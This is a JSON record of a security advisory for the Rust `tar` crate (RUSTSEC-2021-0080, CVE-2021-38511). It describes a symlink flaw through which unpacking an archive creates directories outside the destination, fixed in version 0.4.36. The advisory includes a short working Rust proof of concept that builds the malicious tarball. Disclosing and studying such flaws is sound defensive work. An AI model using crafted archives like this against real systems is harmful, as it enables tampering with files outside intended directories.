{"id":"RUSTSEC-2021-0080","revision":"1e5dc7d60fd94f6d93fb10216c78e105","records":[{"revision":"1e5dc7d60fd94f6d93fb10216c78e105","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"RUSTSEC-2021-0080","aliases":["CVE-2021-38511","GHSA-62jx-8vmh-4mcw"],"title":"Links in archive can create arbitrary directories","description":"When unpacking a tarball that contains a symlink the `tar` crate may create\ndirectories outside of the directory it's supposed to unpack into.\n\nThe function errors when it's trying to create a file, but the folders are\nalready created at this point.\n\n```rust\nuse std::{io, io::Result};\nuse tar::{Archive, Builder, EntryType, Header};\n\nfn main() -> Result<()> {\n    let mut buf = Vec::new();\n\n    {\n        let mut builder = Builder::new(&mut buf);\n\n        // symlink: parent -> ..\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink\")?;\n        header.set_link_name(\"..\")?;\n        header.set_entry_type(EntryType::Symlink);\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(&header, io::empty())?;\n\n        // file: symlink/exploit/foo/bar\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink/exploit/foo/bar\")?;\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(&header, io::empty())?;\n\n        builder.finish()?;\n    };\n\n    Archive::new(&*buf).unpack(\"demo\")\n}\n```\n\nThis has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is\npublished as `tar` 0.4.36. Thanks to Martin Michaelis ([@mgjm](https://github.com/mgjm)) for\ndiscovering and reporting this, and Nikhil Benesch ([@benesch](https://github.com/benesch)) for\nthe fix!","state":0,"publishedAt":"2021-07-19T12:00:00+00:00","modifiedAt":"2026-07-17T16:00:04.6714272+00:00","affected":[{"ecosystem":"crates.io","name":"tar","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.0.0-0"},{"kind":"fixed","version":"0.4.36"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":null,"severity":null}],"references":["https://crates.io/crates/tar","https://rustsec.org/advisories/RUSTSEC-2021-0080.html","https://github.com/alexcrichton/tar-rs/issues/238"],"sourceUrl":"https://osv.dev/vulnerability/RUSTSEC-2021-0080","license":"OSV · upstream source license applies","key":"osv:RUSTSEC-2021-0080","identifiers":["RUSTSEC-2021-0080","CVE-2021-38511","GHSA-62jx-8vmh-4mcw"]},"retained":false,"historicalAffected":[]}],"coverage":[]}